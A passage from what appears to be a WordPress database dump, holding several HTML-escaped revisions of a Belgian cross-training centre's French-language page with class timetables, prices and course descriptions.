class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 98%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;toto\r\ntiti\r\ntoutou&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 17:53:40', '2013-07-03 17:53:40', '', 11, 'http://www.crosstrainingcenter.be/?p=202', 0, 'revision', '', 0),
(203, 1, '2013-07-03 17:54:00', '2013-07-03 17:54:00', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nLes séances sont programmées selon le planning ci-dessous.\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 90%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;toto\r\ntiti\r\ntoutou&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 17:54:00', '2013-07-03 17:54:00', '', 11, 'http://www.crosstrainingcenter.be/?p=203', 0, 'revision', '', 0),
(204, 1, '2013-07-03 17:57:10', '2013-07-03 17:57:10', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nLes séances sont programmées selon le planning ci-dessous.\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 90%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td 